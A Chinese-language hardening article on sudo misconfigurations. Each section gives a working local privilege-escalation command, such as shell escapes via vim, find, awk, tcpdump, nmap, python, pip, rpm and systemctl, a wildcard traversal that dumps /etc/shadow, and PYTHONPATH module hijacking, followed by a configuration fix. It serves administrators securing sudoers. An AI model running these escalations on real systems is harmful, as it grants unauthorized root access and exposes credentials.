用户可写的目录或文件
使用场景:允许用户执行sudo /home/user/script.sh
以其他用户权限执行脚本,用户可以直接修改script.sh
或者替换成其他文件,从而实现提权。
user@server:~$ ls -ld /home/yangliping /home/yangliping/sudo /home/yangliping/sudo/bin /home/yangliping/sudo/bin/hello.sh /home/yangliping/sudo_hack /home/yangliping/sudo_hack/bin /home/yangliping/sudo_hack/bin/hello.sh
drwx------ 28 yangliping yangliping 8192 Jan 28 10:12 /home/yangliping
drwxr-xr-x 3 root root 4096 Jan 28 10:01 /home/yangliping/sudo
drwxr-xr-x 2 root root 4096 Jan 28 10:02 /home/yangliping/sudo/bin
-rwxr--r-- 1 root root 36 Jan 28 10:02 /home/yangliping/sudo/bin/hello.sh
drwxrwxr-x 3 yangliping yangliping 4096 Jan 28 10:02 /home/yangliping/sudo_hack
drwxrwxr-x 2 yangliping yangliping 4096 Jan 28 10:03 /home/yangliping/sudo_hack/bin
-rwxrw-r-- 1 yangliping yangliping 48 Jan 28 10:03 /home/yangliping/sudo_hack/bin/hello.sh
user@server:~$ sudo -l
User yangliping may run the following commands on server:
(root) NOPASSWD: /home/yangliping/sudo/bin/hello.sh
user@server:~$ sudo /home/yangliping/sudo/bin/hello.sh
Hello from root.
user@server:~$ mv -f --backup=t -T /home/yangliping/sudo_hack /home/yangliping/sudo
user@server:~$ sudo /home/yangliping/sudo/bin/hello.sh
Haaaaaaaaaaa. I'm root now.
解决方案:保证sudo执行的文件及文件的所有父目录不能被用户修改。
可执行shell或其他命令的软件
使用场景:vi
,vim
,ed
,emacs
,edit
,more
,less
,man
,find
,awk
,rpm
,ftp
,tcpdump
,nmap
等命令都可以执行其他命令,甚至是shell。
user@server:~$ sudo find /etc/passwd -exec /bin/sh \;
user@server:~$ sudo vim -c '!sh'
user@server:~$ sudo awk 'BEGIN {system("/bin/sh")}'
user@server:~$ sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
$ sudo vim /path/to/file
或者 $ sudo more /path/to/file
或者 $ sudo less /path/to/file
或者 $ sudo man ls
或者 $ sudo ftp
执行!bash即可获得bash shell权限
tcpdump和nmap也可以执行任意命令
user@server:~$ echo '/usr/bin/id' > /tmp/shell && chmod +x /tmp/shell && sudo /usr/sbin/tcpdump -w /dev/null -W 1 -G 1 -z /tmp/shell -Z roo
t
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
uid=0(root) gid=0(root) groups=0(root)
user@server:~$ echo "os.execute('/bin/sh')" > /tmp/shell && sudo nmap --script=/tmp/shell
解决方案:确保sudo
执行的软件不能执行其他命令。用RESTRICT
或者 NOEXEC
,如果是编辑文件,可以用sudoedit
。
aaron shanty = NOEXEC: /usr/bin/more, /usr/bin/vi
NOEXEC不生效
使用场景:根据这个案例,有些系统/bin
目录是链接到/usr/bin
目录的,以下配置的情况下,用户仍然可以在vim里运行shell
%sudo_users ALL=(root) ALL, (root) NOEXEC: /usr/bin/vi, /usr/bin/vim
需要改成下面的配置
%sudo_users ALL=(root) ALL, (root) NOEXEC: /bin/vi, /usr/bin/vi, /bin/vim, /usr/bin/vim
解决方案:sudo
配置要确认生效
允许sudo执行chown/chmod命令
使用场景:可以用chown/chmod
命令把重要文件修改成用户可改,然后再恢复。比如/etc/shadow改root密码,在/etc/sudoers增加权限等。
解决方案:用setfacl
允许用户修改文件,或者用sudoedit
。
允许sudo执行mv、cp、scp、rsync等命令
使用场景:使用mv
,cp
,scp
,rsync
等命令可以修改重要的文件,比如/etc/passwd。
解决方案:禁止直接使用,可以考虑封装在脚本里。
允许可以修改文件的程序写任意文件
使用场景:使用tee
,sed
等命令可以修改重要的文件,比如/etc/passwd。
echo "hahaha" | sudo tee /root/reallyimportantstuff
解决方案:用setfacl
允许用户修改文件,或者用sudoedit
。
允许直接运行脚本语言解释器
使用场景:允许python
,perl
,ruby
,lua
等脚本解释器直接sudo运行意味着用户可以做所有事情。
user ALL=(root) NOPASSWD: /usr/bin/pyton, /usr/bin/perl
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo perl -e 'exec "/bin/bash";'
解决方案:不允许sudo运行python
,perl
,ruby
,lua
等。
通配符风险
使用场景:sudo的通配符功能会导致安全风险
user ALL=(root) NOPASSWD: /bin/cat /var/log/*
$ sudo cat /var/log/../../etc/shadow | tail
dbadmin:!!:16895:0:99999:7:::
dbuser:!!:16895:0:99999:7:::
nscd:!!:17778:0:99999:7:::
nginx:!!:17998::::::
user ALL=(root) NOPASSWD: /bin/cat /var/log/messages*
$ sudo cat /var/log/messages /etc/shadow | tail
dbadmin:!!:16895:0:99999:7:::
dbuser:!!:16895:0:99999:7:::
nscd:!!:17778:0:99999:7:::
nginx:!!:17998::::::
user ALL=(root) NOPASSWD: /usr/bin/systemctl * httpd
# 用户可以sudo对其他服务进行操作
$ sudo /usr/bin/systemctl stop iptables auditd httpd
# 如果允许sudo root执行`rm -Rf /some/path/*`会怎么样?
具体参考Redhat KB文档Sudo interpretation of wildcard like /var/log/messages* can indirectly expose a security risk。
解决方案:最好不要用通配符,确实需要使用的时候应该确保安全设置。
禁用env_reset导致环境变更引起的漏洞(v1.6.9 - v1.8.4p5)
使用场景:在某些版本的sudo中,如果用!env_reset
禁用环境变量重置,用户可以通过PYTHONPATH之类的环境变量实现任意命令的执行。
比如下面的代码:
$ cat /opt/sudo_test.py
#!/usr/bin/env python
from __future__ import print_function
import base64
print(base64.decodestring('SGVsbG8gZnJvbSByb290\n'))
正常sudo执行输出如下:
$ sudo /opt/sudo_test.py
Hello from root
用户可以通过修改过的base64模块执行其他命令
$ diff /usr/lib64/python2.6/base64.py base64.py
10a11
> import os
320a322
> os.system("echo '**Hello from python base64 module**'")
$ sudo PYTHONPATH=/home/yangliping /opt/sudo_test.py
**Hello from python base64 module**
Hello from root
man手册对于env_reset
的解释如下:
By default, the env_reset flag is enabled. This causes commands to be executed with a new, minimal environment.
If, however, the env_reset flag is disabled, any variables not explicitly denied by the env_check and env_delete options are allowed and their values are inherited from the invoking process.
新版本的sudo修复了这个问题,具体点击链接了解。RHEL 6.0 ~ 6.3自带的是sudo 1.7会有这个问题,RHEL 6.4换成了sudo 1.8.6p3。
解决方案:虽然sudo把很多环境变量列入黑名单,执行的时候会有以下错误
$ sudo PYTHONPATH=/home/yangliping /opt/sudo_test.py
sudo: sorry, you are not allowed to set the following environment variables: PYTHONPATH
但是还是有可能会有其他未知的环境变量导致漏洞,不建议设置!env_reset
。如果有特殊的环境变量确实需要保留,在确保安全的情况下,可以设置env_check
/env_keep
来传递环境变量,也就是开白名单。另外,root用户执行sudo -V
可以显示哪些环境变量会被清除。
Environment variables to check for safety:
TZ
TERM
LINGUAS
LC_*
LANGUAGE
LANG
COLORTERM
Environment variables to remove:
*=()*
RUBYOPT
RUBYLIB
PYTHONUSERBASE
PYTHONINSPECT
PYTHONPATH
PYTHONHOME
......
允许执行pip、rpm、yum、dnf导致的提权
使用场景:具体参考链接,用户用以下的方式即可获得root shell。
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
rpm/yum/dnf也可以用类似的方式提权
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
sudo rpm -ivh x-1.0-1.noarch.rpm
sudo yum localinstall -y x-1.0-1.noarch.rpm
另外,yum还可以通过插件的方式执行root提权,可以下载任意文件,具体见链接。
解决方案:不要设置允许普通用户执行pip或者rpm/yum。
允许执行systemctl导致的提权
使用场景:systemctl
命令有几种方式获取root shell:
- 通过
SYSTEMD_EDITOR
TF=$(mktemp)
echo /bin/sh >$TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
- 通过新添加特殊的服务
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
- 通过编辑器或者分页器
sudo systemctl
!sh
解决方案:禁止直接使用,可以考虑封装在脚本里。
在写这篇文章的时候,网上找到两个项目,都是跟不恰当使用sudo
而导致用户获取root权限有关,内容更全面值得认真学习。
SUDO_KILLER - A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo.
GTFOBins is a curated list of Unix binaries that can used to bypass local security restrictions in misconfigured systems.
总而言之,使用sudo必须非常非常小心。当用户需要一些特殊权限的时候,首先应该想到除了sudo还有没有其他更好的方法。然后,如果一定要sudo,自己的配置有没有提权的风险,必须三思。